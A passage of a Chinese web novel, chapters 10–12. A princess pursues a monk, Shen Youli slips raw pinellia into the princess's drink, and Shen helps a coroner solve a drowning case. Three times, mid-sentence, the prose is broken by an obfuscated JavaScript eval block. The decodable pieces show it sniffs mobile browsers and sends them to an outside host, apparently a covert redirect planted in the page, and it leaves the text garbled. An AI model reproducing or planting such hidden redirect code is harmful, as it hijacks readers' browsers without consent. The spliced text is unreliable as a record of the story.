可捉来每个和尚,一问都说不知道妙觉去了哪里。 他还能凭空消失了不成! “县主,上下都找了,没找到……”侍女小心翼翼地说。 瑞昭县主拍了桌子:“那就派人去找,本县主就不信,把整个禅月寺翻过来还找不到!” 一阵折腾下来,一个七八岁的小沙弥被带到她跟前。 “师兄闭关了,谁也不见。” “你说了吗,是本县主找他。” 小沙弥摇摇头。 “他在哪里闭关?” 智圆禅师实在不能让县主这样胡闹下去了,出来打圆场:“县主,妙觉确已闭关,而且后山禅洞险峻,稍有不慎就要掉下山去,不宜去打扰。” 县主不信,只当他们都故意在阻挠自己:“是妙觉禅师真想闭关,你们禅月寺却故意阻挠,我一定不会放过你们。” “本寺绝无阻挠,这都是妙觉自己的意思。” 智圆后悔自己没修好闭口禅,引出这么大一场动乱。 “妙觉禅师想还俗?” 女子的声音从门外传来,县主循声看去,是一个身穿单丝罗裙,打扮入时的商户娘子,瞧着有三十上下。 洛明香切切给她行了一礼:“县主安好。” “你是谁?”瑞昭县主语气不耐。 “我是瑜南洛家二房女儿洛明香,不瞒县主,妙觉禅师正是我弟弟。” “你弟弟?” 县主没想到妙觉禅师还是家人,而且是瑜南富户,她还当除了雍都国寺,遁入佛门的不是孤儿便是穷苦人呢。 “是啊,妙觉禅师,俗名洛明瑢。” 洛明瑢……县主将这名字念了两遍,再抬脸,笑容已可亲许多,“原来是洛家人,刚到瑜南时,阿爹酒宴上就见过洛家老爷,是……录事参军?” “那是我家伯父,我与明瑢的阿爹就是一个商户罢了。” “能做到的洛家这份上的商贾,寻常官吏哪里比得,洛家从前在雍都是累世官身,更与一般商贾不同,我有一叔祖父在国子监就学,曾经提过,与洛家祖父曾是同窗呢。” “难为县主垂怜,还记得些祖上薄交。” 二人三两句话就搭上了关系,对彼此态度已是心领神会。 10. 第 10 章 “听闻明瑢要为县主还俗,可当真?” “这……”县主低头羞涩,“我也是偶然撞见智圆禅师这么说,听、是绝没有听错的。” 洛明香掩唇惊讶:“出家人不打诳语,住持能那么说,那该是真事了。” 见她神情夸张,县主忐忑问道:“是……有哪里不对吗?” “不是,我只是惊讶而已,想只是当初阿娘怎么逼他留在家中,他都一意孤行剃度离家,十几年佛前清修,阿娘不知道掉了多少眼泪,劝了他多少回,都不能改变他的心意,如今却因见县主你,想要还俗,看来,我那弟弟是真动了凡心,一发不可收拾了。” 洛明香要搭上县主,当然捡她乐意听的说。 妙觉禅师的阿娘都不能劝他还俗,可他却因为自己产生这样的念头,这是怎样一番情深似海啊,县主一颗芳心怦怦直跳,都到嗓子眼了。 洛明香一看她神色,就知道自己的话很是奏效。 “其实我也不该惊讶,毕竟刚刚讲经堂里,我还是第一次见,我那弟弟愿意舍身为一个人做到这个份上……” 县主低垂脖颈不言不语,只想听得更多些。 洛明香倒摆摆手:“县主见笑,是我痴蠢,也有可能是他一厢情愿,您未必对我那蠢弟弟有意,我只胡言乱语罢了,冒犯之处还请县主恕罪。” 她忙道:“不是,他不是一厢情愿!”说完又含羞把头垂下。 今日不止从一个人嘴里知道,妙觉待自己也别个不同,县主心中早溢出蜜糖似的甜。 她更加笃定,自己与他是上天注定的缘分。 可说完,她又幽怨道:“如今他却躲着不肯见我,这是什么道理?” 洛明香宽慰道:“明瑢毕竟在佛门清修十几年,我这弟弟自小就心志坚韧,寻常没人能动摇他的意志,难得这次为了县主有所动摇,一时不能坚定所想,躲着要想清楚也是正常的。” “万一他想清楚……是舍了我呢?” 洛明香拍拍她的手:“不会的,你们二人有缘,他都为你做到,怎么可能甘心一辈子在空门之中。” “那我今日当真不见他了?” 洛明香也不能肯定洛明瑢看在她的面上一定会露面,便敷衍道:“来日方长。” “好吧,”瑞昭县主勉强被劝下来,“你能再说些……你弟弟的事吗?” “县主想知道,我说多少都成。” 县主问出心中困惑:“妙觉法师既出身瑜南世家,为何舍亲出家,皈依空门?” “县主,此事待我慢慢同你说。” 洛明香拉着县主到一处亭中,又看向左右,瑞昭县主心领神会,屏退了左右侍女。 “说来我这弟弟虽生在锦绣,却命似浮云,只知道阿娘怀他辛苦,生下来身体不好,一出生就养在寺庙里,受佛门庇护,不让百邪侵扰, 好不容易养到八岁,要从庙里接回来,谁料半路遇上劫匪,将他劫走要银子,家中给了赎银,结果那帮劫匪还是把他丢山崖下了。 好长时间连尸首都找不到,谁都以为他已经死了,尸首一定是摔得粉碎,让野兽叼走了。 可两年之后,得到消息,才知道救他的又是一个老和尚,把他带回小庙里当个小沙弥养了起来,老和尚非说他有佛缘,一定要留下他当和尚,可阿娘怎么愿意……” 洛明香和洛明瑢其实并不亲近,打幼时到现今,极少住在一起,她人小,事也记得不是很清楚,多是从老人嘴里听来的。 “其中竟有这样一段内情。”瑞昭县主忍不住叹息,对那人更多几分疼惜。 “是啊,总算人平安无事回来就好,阿娘将他带回家中,请先生教养,他天资卓绝,课业一日千里,十四岁时接连过了乡试会试,是十里八乡人人称颂的天才,当时离入仕仅一步之遥, 谁料殿试之前他突然将所有书册文章都烧了,抛下家人和马上到手功名,又跑回山里去,那时候老和尚已经圆寂,他就另寻了一座古刹剃度出家,从此以方外之人自居,谁也不知道他到底在想什么,” 县主听着,愈发认可自己看上的人,他不只会武,文采也如此出众,十四岁的亚元,是雍朝少见的少年天才,父王该是不会反对的。 至于出家,待以后她一定会细细相问,妙觉一定会告诉她缘由的。 两位年轻娘子各怀心思,絮絮低语时细雨又连绵起来,雨丝在飞檐下汇作珠帘。 一时谈到夜幕低垂,瑞昭县主才依依不舍,离开了山寺。 “阿娘呢?”洛明香一看夜色,没想到和县主聊得起兴,时辰都忘了,有些心虚。 “大太太说不同路,她先回去了。” “又不等我。” 洛明香不满地提着裙子,跺脚往自己的轿子去。 瑞昭县主也乘着轿子下山了。 她靠着窗户,闭目听着沙沙雨声,凉风拂面而来,记忆带她一遍遍回味着白日发生的事,忍不住喟叹出声。 “春苜,给我调一碗甜露吧。” “是。” 侍女从暗格里取出一个精致的琉璃小瓶。 郑王封王时,宫里赐下许多珍宝,瑞昭县主就在其中挑了玉清甘和露,此露只宫中才有,寻常不会赐下,她喝过甚是喜欢。 当时父王说:“先帝时都两度奔逃出宫了,宫里竟然还有那么多好东西,真是瘦死的骆驼比马大啊。” 瑞昭县主深以为然,后来她被封县主,又赐了这甜露,到这会儿,已经喝得差不多了。 在侍女准备调些茶水时,她一把拿过:“算了,今日高兴,不须节制。” 虽然惊险,可有心上人搭救,死里逃生,又知晓了他对自己的心意,实在值得庆贺。 瑞昭县主仰头,将瓶中的玉清甘和露一饮而尽。 “咳!咳!咳!” 剧烈的咳嗽吓到了侍女,以为县主中了毒,慌忙凑近查看。 瑞昭县主摆摆手:“没事,应是喝急了呛到——” 话没说完,疼痛的感觉来得猛烈迅速,胸口升起的一股火辣辣,紧接着嘴唇针扎般痛,嗓子肿胀发紧。 “咳——” 她说不出话,死死掐住侍女的手,嗓子发出扯碎纸的声音。 侍女不敢喊疼,眼睁睁看着县主整张脸涨成猪肝色,慌没了神,高喊道:“快!快进城找大夫!” 马车在夜色里飞驰,瑞昭县主一路兵荒马乱,被带回下榻的行馆。 待请来名医时,已是只有出的气,没有进的气了。 大夫把过脉,又看了眼珠口齿,一时也未敢肯定中了什么毒。 “县主似乎并未中毒。” “不是中毒那怎么会变成这个样子!” “之前可吃了什么东西?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471598|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就喝了玉清甘和露……”侍女连滚带爬去把瓶子找了出来。 大夫嗅不出来,又斗胆尝了尝,面色突变:“快取生姜来!” 口中生姜,症状才稍有缓解。 “这甜露中加了生半夏,会灼烧喉咙,致使口不能言,可县主喝得太多,口含生姜已不顶大用,所幸病情并未恶化下去,虽声音嘶哑,只需静养便好,下药之人并未想要县主性命。” 帘中一阵摔砸声震天,随即砸出一支狼毫,还有一个纸团。 纸上狰狞两字:“去查!” — 沈幼漓给下药之后,也不关心能不能得手。 在回洛家之前,她还想去一个地方。 雨幕下,她换了小沙弥给的鞋子,旋着伞把下山去。 下山比上山轻松很多。 水珠飞散如花,像是那些烦闷统统离她而去,呼吸里都是山间清冷的空气。 这个时节,城外百姓要么进山寻些野货,要么守在田间育青苗,路上仍旧不见什么人, 走上去义庄的岔道之后就没人了。 义庄更比别处清静。 这是存放无主尸体的地方,比倒夜香的还惹人晦气,寻常百姓没事都是绕道走。 沈幼漓径直进了前院,折下缸里几片荷叶包在绣珠履的外边,用草绳系紧。 义庄里,老春头正对付着尸体,余光见着有人进屋,一看自己荷花被糟蹋了,大呼:“统共就这几片叶子,你下手也太狠了!” “这绣鞋值二百贯,糟蹋坏就可惜了。”沈幼漓认真解释。 “二百贯也分不到我手上……得得得,摘就摘了,我这正忙着,最里边今天刚送来一具无名尸,知道是淹死的,多的不知道,劳烦你出手,饶我个明白。” 把荷叶包好的绣鞋搁在一边,沈幼漓去柜子里取出襻膊将袖子系起,打结时眼睛一直观察着尸体,挑起一把细长小刀。 大胡子只是看了一眼,就不再管,雨声渐密,在屋檐下结成晶莹珠串,屋中二人各有专注,安静忙碌。 一刻钟后。 “呲——” 一阵水雾升起,浓重的酸味在屋里弥漫,沈幼漓把醋瓶放下,在炭盆上迈过几个来回,仵作。 “这就验完了?” “验完了。” 她走出门,脱鞋抱膝坐在廊凳上,湿漉漉的脚踩住边缘,五根脚趾白得像这时节剥壳浸在水里的春笋。 大胡子还在低头干活。 等把眼前的尸首验完,瘦长的解刀“当啷——”落进铜盆里,肉屑和泥沙浑浊清水,他将沈幼漓写的验状,只扫一眼,花白眉毛松开,随即写下结状。 写完他也走了出来,无视细密雨丝,从莲花缸掬出一捧冷水洗干净手,在褡裢上擦干。 “照身上瘀痕、肺腑肿水,还有衣料来看,这人确实是死在水缸之中。” “而且时常走街串巷。”沈幼漓发着呆也不忘回他的话。 “唉,你这门手艺真是不服不行啊,一个女娃娃,到底是怎么学来的?”老春头又心疼又可惜。 心疼什么女娃娃从前的要靠验尸讨生活,可惜的是这么好的本事就荒废了,他怎么学也不如她。 她答:“会点医术,尸体摸得多,自然就懂了。” “谁会给一个女娃娃摸那么多的尸体啊。” “我阿兄啊。” 11. 第 11 章 老春头有名字,不过喊的人很少,大伙都叫他老春头。 沈幼漓流落瑜南时,就是老春头救了她,那时候问她有没有家人,她摇头。 后来才知道她还有一个哥哥,不过沈幼漓极少提及,老春头也不问。 说来二人相逢,也是老春头自己活不下去了。 他爹娘过世,他是奔着自杀出的门,却看到了昏迷的沈幼漓。 有一条人命要他搭救,老春头就不想死了。 为了救沈幼漓,老春头落下了病根,当时他穷啊,带她去医馆花完了所有的银子,吃炊饼都要掰下一半给沈幼漓,更攒不下银子给自己买药治病,两个人可怜到一处了。 幸而沈幼漓懂点医术,上山采药给他治病,可有些药材瑜南不长,只能在药堂里买,沈幼漓只好采药材拿去卖,可换回的殷勤刚好 沈幼漓没银子带他去医馆,只好扛着他上,往不要钱的寺庙去,那里常有善心坐诊的和尚,或许能舍些药材。 可寺中和尚也束手无策:“管用的药材到底还是要去药堂里买的,之后修养要精细,不可饥一顿饱一顿,一年半载不能干重活……” 沈幼漓沉默听着,点点头,背老春头下了山。 半途天降大雨。 老春头靠在她单薄瘦弱的肩头,二人宛如小舟飘摇在海浪之中,他期期艾艾地说:“这是老天爷可怜我,要我去给爹娘相聚了,丫头,你把我放下来吧。” 沈幼漓沉默不语,咬着牙往前走。 厚重的雨幕一重复一重,前路都难看清,她脚下不慎一个打滑,二人摔在了地上,爬都爬不起来。 二人倒在路边,形如乞丐。 洛家去山寺礼佛的马车就在这时路过,沈幼漓见人车驾富贵,拦住去路,开口就朝人借车,借二百两银子治病。 “夫人信我,我一定会还!” 生死面前,什么机会都要试一下。 可富人不是善人,怎么可能将二百两随手丢给路边的乞丐呢。 结果洛家大夫人真答应的给她银子,只是要她嫁给自己的儿子。 老春头听着这买卖蹊跷,寻常富户多得是良家女儿挑选,怎么也不会给自己的儿子娶一个来路不明的女子为妻,可大雨冲刷干净沈幼漓的脸,他又觉得,或许也情有可原。 谁料小姑娘一身是胆,张口就敢要一万两白银才嫁,老春头差点背过气去。 一万两白银!彼时的雍朝,四千两白银就能买个七品县令的缺,一万两白银那能在雍都捐个不大不小的官当了吧! 他以为自己死定了,连坟地掘哪块都想好了。 谁想到洛家大夫人竟然真答应了她。 只要给洛家生下儿子,就给她一万两白银。 老春头终得银钱救治,又从她这儿学了手艺,在义庄讨起营生,吃饭也不再是问题。 十年一眨眼就过去了,之前的老仵作也死了,义庄里只剩下老春头。 这儿人迹罕至,除了衙门捕快,只沈幼漓偶尔会来看看他。 在她怀大女儿时,老春头还开玩笑自己算不算外爷。 “算。”她笑着点头。 “嘿!我是外爷了。” 老春头念叨着,走到一边忙去,然后悄悄在角落里擦眼睛。 只可惜两个孩子被洛家藏得好好的,沈幼漓始终没机会带出来给他见一见,老春头也不肯去洛家,说是怕给她丢人。 毕竟是为了那一万两才生的,太亲近了,她应该也怕将来离开洛家的时候会舍不得。 可时光倏忽,一晃七年过去了,四年前沈幼漓就收了那一万两,却迟迟没有提起离开,大概也歇了那层心思了吧。 老春头想,孩子都在这儿,在瑜南也算有家了,就这么过下去也挺好。 如今听她又突然提起阿兄,老春头好奇道:“又是你阿兄啊,到底还有什么他不会的?” 从前上山采药的时候,沈幼漓也说是阿兄教她分辨草药的。 提起自己的哥哥,沈幼漓声音很轻,整个人似陷在回忆里: “我也不知道有什么是他不会的,读书、识字、验尸,他事事做得很好,我的一切本事都是他教我的,人人都夸赞他,都肯亲近他,对他寄予厚望,却没人喜欢我。 只有阿兄肯我玩,他不嫌我笨,不嫌我孤僻,什么东西都慢慢地教我,可他十六岁就中了进士,授官之后变得很忙很忙,忙来忙去,就忙到了大理寺去……再也没空教我别的。” 老春头还是头一次听她说得那么详细,他有些奇怪,谁家阿兄会教自己的妹妹这些, “你那哥哥现在呢?”他问。 “死了。” 说到此处,沈幼漓面容未见什么哀伤。 “怎么死的?” 她抿着唇不说话。 老春头叹了一口气,是自己愚钝,要不是家里人都没了,她一个小姑娘怎么会流落到这来呢,问这个只徒惹伤心而已。 “十六岁的进士,如此少年英才早逝,真是可惜了,若是还在,也能做你的依仗。” “依仗吗……” 沈幼漓双眸没什么神采,只是仰头望着一气要把雨下尽的青灰天空。 “这是我五个月来第一次出门,天就下雨了,他名字里恰好也有个‘雨’字,你说是不是他瞧见我出门,出来提醒我,该回去了?” 老春头伸脖子:“回哪儿去,天上?你不想活了?” “……回他以前在的地方。” 沈幼漓极少提及自己从前的事,这已经是她说得最多的一回,老春头疑心她是在洛家遭欺负了。 “你瞧着过得很没意思啊,洛家锦衣玉食都过不惯?” “我也拿这话问过大太太。” “你在洛家的婆母啊,她怎么说?” “她说人只要把自己每天那两餐饭吃了,晚上什么也不想,闭上眼睛一睡到天亮,日日如此,日子就这么过下去了,有什么熬不了的。” “呵——这话说的,要就这么过到埋土里,那人跟这嘚大水缸有什么分别,装一缸淤泥沉甸甸,沉到裂开丢出去,一辈子就这么过去了。” “所以我该走了。” “就走啦,不留下吃个饭?又忘了,你现在有两个孩子要顾……” “我是说离开洛家了。” 老春头愣了一下,问:“要往哪儿去,还住在瑜南吗?” “不知道。” “那什么时候走?” “也不清楚,还在等消息呢。” 听说她还是要走,老春头难免不舍,“我以为你中意那个小和尚,会留下来过一辈子呢。” 沈幼漓僵硬了一下,若无其事道:“只是从前喜欢,如今我都当人娘亲了,早不想那些风花雪月的事了。” “今天能来我这儿,一定是又上山了吧,跟老头说说呗。” “没什么好说的,陈芝麻烂谷子的事。” “我这儿的可有酒,你真不打算同我说说?” “嗯?酒……啊?” “山捻子酒。” …… 不多时,沈幼漓将酒葫芦往桌子一砸,“真是郁闷!” 老春头怂恿她:“丫头别憋着,大声说!” “那个装模作样的死和尚,我是耽误了他修行,可他、他心思一定也不清白!不然怎么略施小计,他就上钩了呢,你说是吧,你说是吧?” “是是是。” “而且之前我明明有感觉的,我一定不是一厢情愿,那时候寺里失火,他还说,说他也许以后不做和尚了,那时候我就觉得这话也许是说给我的,你知道吧,嗨!给你说不明白! “我真以为他要还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471599|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俗,给孩子当爹了,我又高兴又担心……可转头!他又去了禅月寺!今天你不知道,他还是个会武功的,从前我就问过,可他骗我他只是力气大,结果为了救一个县主全暴露了。” “唉……老头,我觉得他就算喜欢别人也没什么大不了的,我眼睛都不眨一下,老实说都七年了对吧,什么事过不去,可一想到当初我那么费尽心机,他都不给我一个眼神,现在一个县主出现,又是卖命又是还俗……我心里确实痛快不起来。” “你嫉妒那县主?” 沈幼漓鼓起腮帮子,半晌才泄气说:“应该有点吧,就是一不小心看清楚,那和尚真对一个人好的时候是什么样子,根本用不着猜来猜去的。我以前……也许、可能、大概……真的在自作多情,会错意了。” 至于下生半夏的事,肯定不是出于嫉妒,是那县主自己讨人厌! 老春头叹气:“孩子都有了,竟然还是没有缘分,不过能说出来也好,放在以前,我是想不到你能和我说这些话的。” 她自嘲一笑,“除了你我还能跟谁说,郁闷的事闷在心里的话,每天能念上一万遍,但只要敢说出来,事情就过去了。” “是啊,再郁闷,说出来就好多了。” “其实你离开洛家也好,往后行走也方便,那两个娃娃我还未见过呢。”老春头挠挠头,琢磨着自己那点积蓄,该买什么见面礼给两个孩子才好。 她喝酒动作止住,偷觑了老春头一眼,“那倒没有,若时机未到,我还是要住在洛家的。” 他“啊”了一声:“我道你心灰意冷,要离开那个伤心地呢。” 沈幼漓理直气壮:“那点伤心算什么,再不快活也比住外头好呀,赁宅子、买菜吃饭都是花销,况且洛家每月给我三十两银子,只进不出,我赚翻了!” 说到银子,她伤怀褪去,说话声噼里啪啦像拨弄算盘。 要不是有些事要办,她还真能看着两个孩子长大,在洛家混到老死,至于洛明瑢,死人一个,她多一眼都不会再瞧。 “和洛家的那赌局就到此为止了?” 沈幼漓脑袋一甩:“到此为止,四年前就结束了。” “你输了?” 沈幼漓扭过头来,耳垂珍珠晃动,瞪了老春头片刻,又泄气地把下巴磕在膝上:“我哪儿输了,我不会输的,不管怎么样,不是已经拿到一万两了吗。” 老春头点点头,也是,银子已经拿到,不过就丢了一颗心而已。 “行嘛,庄家是你,规矩你定。” “什么规矩我定,本来就是我赢,”她闷头跃下栏杆,“走了。” “酒带走吧,说不定以后有尸首还得你帮忙呢。” 沈幼漓抱着葫芦摆手:“我未必方便出来。” 将葫芦挂在腰上,她戴上帷帽撑起伞,蹚过前院一个又一个的小洼,迈出义庄的门槛。 迎面是个穿着黑边红衣的衙差,皂靴匆匆踏过,绕过柴门,与她错身而过。 衙差只是回头一眼,没管,继续跑进去找老春头。 此时已经天色已经有些昏暗。 沈幼漓望着没有尽头的路愁得拍脑门,她怎么不记得舍些银子,让车夫原地等她呢。 这样走回瑜南城,她宁愿就地躺下睡觉。 复行一里路,远远见一人剪影修长如竹,立在山道之下,一袭素袍衣袂轻摆,一层浅浅月光笼罩,如山间薄雾将散未散。 端看那脑袋就知道是谁。 乍遇洛明瑢,沈幼漓心里打了个突。 不过转念一想,他就是横着竖着倒插着出现在这儿,和自己又有什么关系呢。 她当没看见,继续往前走。 夜风将酒香送到鼻间。 望着大摇大摆从面前径直走过,眼珠子都没斜一下的人,洛明瑢问:“去义庄喝酒了?” 12.第 12 章 义庄里。 “怎么样?” 邓长桥一边问,一边在桌椅板凳间搜集到水罐,给自己猛灌了一口,凉水冲过燥热的胸膛,他长长吐出一口气,“验出来没?” “验出来了,死者没中毒也没有其他伤口,就是淹死的。” “真是淹死的……那就是意外了。不过尸首家人也找不到,是去贴告示,还是丢到乱葬岗去算了。” 老春头哼哼:“死在水缸里,能是意外?” “人不是在河边发现的嘛,你怎么知道他是死在水缸、水井、还是池子里的?” “如今初春,若是池子里淹死的,身上和头发有池塘的青藻,鼻子嘴巴里多少也该有些痕迹。” “那水井呢?” “好好想想,这么大个人掉进水井里,你要怎么捞上来丢到外头去?” “用绳子呗。” “尸首浸水,那绳子拉起来一定十分费劲,捆在身上一定会留下瘀痕,外衣也会有印子。” 老春头还拿起死者的指甲给他看:的“所以该是淹死在常用的水缸之中,而且是家中经常用的水缸,才不长青苔,水质干净,死者才会在挣扎时碰到缸壁,刮花了指甲。” “就算知道他是水缸里淹死的,有什么用?” “单水缸是看不出什么,可抛尸的地方一定离杀人的地方不远。” 老春头挡住他要说话的嘴,“我知道你要问为什么杀人的地方不远,看看这衣料一圈水痕,就是凶手抛尸太急没来得及看就走,他应是就近抛到河里以为尸体会漂走,其实不然,他抛尸的地方水草很多,又是沱水之地,尸体就在原地,根本没往下漂,看衣裳这一圈,清藻泥沙汇聚这半边是浸在水里的,浸了一夜,层次分明。” “知道这些,咱们大概就能知道这具尸首的身份了。” 邓长桥:“啊?怎么知道的?” “凭衣服啊,你瞧瞧死者两只袖子虽然都有面粉渗入,但常年左手揭盖子,右手因为下面食,会受锅中热气反复熏蒸,面料不管湿水还是干的,揉搓起来感觉都不一样,还有他双掌心老茧的位置,后脚跟的裂纹,腿上腱子肉,就能证明他是常年推着不轻的木轮车,风里来雨里去,不是固定食店站在灶台跟前握刀的人。 你只要在抛尸的河边附近打听一下平日走街串巷卖面食、这两天却没露面的摊贩,大概就是这尸首的身份。” “死者死亡时间是后半夜,已经不是做生意的时候,那死亡地点不是死者自己家就是凶手家中,大概是凶犯应是与死者起了什么冲突或发生意外,就近将人按在水缸中淹死,之后凶犯趁夜色把人扛到河边抛尸,假装溺水而亡, 没有推车,扛一个死人跑太远的地方很容易被发现,而且死者后靴有拖拽在地的痕迹,证明凶犯体力不够,扛着死人走不了太远,只能是出门遇见河,就想让河水冲走,所以照抛尸十里之内搜查应当没错。” 老春头将沈幼漓方才的推测复述了一遍。 想了想,他又加了一句:“这个案发地不止有水缸,还有一块菜地,所以该是一个小院,只要找到这个地方,再查一下死者与谁有争执嫌隙,当日进出小院的人,差不多就是查到凶手了。” “河边附近就是锁子巷,要有水缸有菜地的人家,还要这走街串巷卖面食的男子,这两天失踪的……”邓长桥默念了一遍,“好,知道这些,查案子就轻松多了!” 说完他又砸了老春头一拳:“行啊老春,从前算我从前小看你!这回是喝了童子尿,心明眼亮起来了?那我就照你说的,马上去锁子巷踩一踩。” 老春头嘿嘿一笑:“好说好说。” 才往外走了一步,邓长桥折回头:“对了,方才那女子是谁?” “哪个女子?” “就刚刚出门碰见那个。” 老春头甩甩脸颊肉:“不认识,是给她官人上坟去,走错了来问路的。” “来义庄问路……胆子也是大,行,我走了。” 邓长桥没有深究,又大步流星查案去了。 可他才走没多久,又火烧火燎地跑了回来:“你赶紧收拾收拾,到瑜南城衙门里去,好多尸体要验,人手都不够了。” 老春头点点头,一面收拾箱子一面问:“发生什么事了?” “山上禅月寺出了刺客行刺县主,上头不知为什么,觉得那伙人不是□□匪徒,非要一个个查明白尸体身份不可,赶紧走吧。” “好,好。” 老春头紧步就跟邓长桥走了。 — “在义庄喝酒了?” 洛明瑢知道她若上山,一定也会顺道去义庄探望老春头。 沈幼漓不理不睬,径直往前走。 洛明瑢也不刻意搭话,照样往前走, 天在这时候已经黑透,两道黑影一前一后, 沈幼漓始终听着身后不远不近的脚步声,她站住脚,继续往前走的人撞到她的肩。 “禅师这是赶着回家报喜啊?” 洛明瑢眼神清澈:“何喜要报?” “我想想……是还俗、还是娶县主呢?” 提到还俗,洛明瑢还能猜测是智圆禅师,可娶县主……这是哪来的故事? “贫僧只是想救人命,对县主无意。” “害羞?” 她提起灯笼,仔细观察他的表情,老禅师总不能打诳语吧。 洛明瑢板着一张脸,什么也看不出。 “你当真不喜欢郡主,就像当初不喜欢我一样?”她又问了一句。 此时僧人瞳仁如倒映在水中的月亮,一滴水逐开了平静的湖面,渐渐又了无痕迹。 “……贫僧心中并无男女之情。” “所以你心中唯爱苍生?” “贫僧修行尚且……” 他清晰地看到沈幼漓眼珠子转了一下,而后踉跄两步额头靠在他胸膛,那点未散的酒气似有如无,带着果香。 “哎哟——”她按住太阳穴,诶诶地叫。 洛明瑢搭着她的小臂,静静等她说词。 “你、你怎么在这儿的……”她囔着嗓子,一副不胜酒力的样子。 “很巧,贫僧也往瑜南城去。” 这儿离瑜南城有二十里路,沈幼漓断断不想走了! 谁出现在这儿谁就是受害者! “禅师,我头好疼啊~~~说起来我也是苍生的一分子,您行行好,啊——” 一眨眼,她就到了洛明瑢的背上。 这个人力气真的好大!她四处拍了拍,砖头大的腱子肉藏在哪里了呢? “沈娘子,你的手。”洛明瑢提点她。 “干嘛,怕我抓你再生一个啊?” “别胡闹。” 洛明瑢把她往上抬,背稳了继续往前走。 沈幼漓也不说了,脸靠在他肩上,看着同一片漆黑的前路。 她从未与洛明瑢这样同行,不,似乎有过一次,是在六年前,也是这样没有星星的黑夜。 沈幼漓看向他,洛明瑢还记得那些吗? — 从七年前见到他,到怀上釉儿之前,二人整整相处了一年。 也是沈幼漓处心积虑骚扰洛明瑢的一年。 她住在别院里,有事没事就去寺里骚扰洛明瑢。 山寺里一日日的苦修,洛明瑢念经参禅,砍柴挑水,耕种除草,样样不辞辛劳,从前荷锄带月孤影一条,后来就多了一只叽叽喳喳的麻雀。 “你每日砍柴要一个时辰,锄地要半个时辰,若是我在旁边帮忙,你一个时辰就能忙完这些,那多出来的半个时辰就是我的!” 她拄着拐掰着手指,自顾自和他商量起来。 人说伤筋动骨一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473727|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百天,沈幼漓却很能蹦跶,不过所谓帮忙,只是在一旁浇浇水拔拔草。 她腿脚不好,但凡挪动必要摔倒,摔倒必往洛明瑢怀里摔。 为人也惯会狡辩:“妾身不是有意的,只是摔倒时不免寻些软和的地方,哪里都不如禅师怀里让人安心。” “你这条腿是不要了?” 她倒泪眼汪汪:“官人,妾身只是想帮你的忙。” 洛明瑢沉默。 这人一点不像要勾引他,反而像故意要把他惹毛。 不过纵沈幼漓再怎么闹,洛明瑢未再见生气过。 正如方丈所说,他把她的捣乱也当成一场修行。 就算如此,一次次怀抱之下,沈幼漓还是能感觉到,与他正逐渐亲近。 与修行无关,与的人性有关。 洛明瑢还不是真正的佛,所以沈幼漓相信,洛明瑢一定曾有过心动,他就算不说,也会从眼角、从眉梢、从唇角里跑出来。 恰如正懿三年时。 山间途遇急雨,日光从雨滴拉出一道长虹,沈幼漓拉着他的手往前找避雨之地,洛明瑢却轻轻挣开。 他往前走时,身侧之人没有跟上来。 转头看去,沈幼漓站在原地望着他。 急雨打在身上有点疼,不一会儿就将衣衫淋透,她仍旧站在原地,乌发浸透,贴在素白的颈侧,伶仃肩骨教人担忧拖不住湿重罗裳,恰似风雨打梨花。 那双眼睛湿漉漉带着怨恼,一眨不眨盯着他。 洛明瑢无意惯她的脾气,“女施主想在雨中醒神,贫僧先走了。” 走出去很远再回头,她还是一动不动。 她打定主意要在原地生根。 两个人观望成两棵树,好像生来距离就那么远。 “观身如芭蕉,如电、如泡沫,智者能离贪,解脱生死缚。” 沈幼漓就站在那里,待他念完这一程,给个结果。 于是,她朝洛明瑢朝她走来。 似一场缓慢的落败。 垂落的手被他拉住,洛明瑢一言不发朝前继续走。 她抿紧了唇,这才肯挪动步子,还是用跑的,几步越过了他。 “快跑啊,我都要被雨淋死了!” 大雨噼里啪啦,沈幼漓踏碎水光,一面又一面倒映二人影子的水镜破碎。 总算找到了一处山洞避雨,湿润的两只手紧紧牵在一起,洛明瑢没有甩开,沈幼漓探身望雨,雨声磅礴得听不到心跳声。 他的情不由衷当然不止这一桩。 沈幼漓也曾故意掉下山潭,看着洛明瑢毅然跳下救她。 纯澈潭水将视野淹没,日光在水波里跳舞,当他破开水面而来时,无数闪闪发光的泡沫汹涌上升,在日光下破裂,他的脸剔透得近乎透明,沈幼漓无法逃避被蛊惑。 牵住来救自己的手,沈幼漓将唇凑上,潭水寒凉,他的唇也有点凉,二人纠缠着往深处坠去。 在越深越冷处,吻才有了一点温度,唇角到舌尖,从青涩笨拙到默然与共。 含吮、别离、再交缠……情爱的滋味惹人迷离。 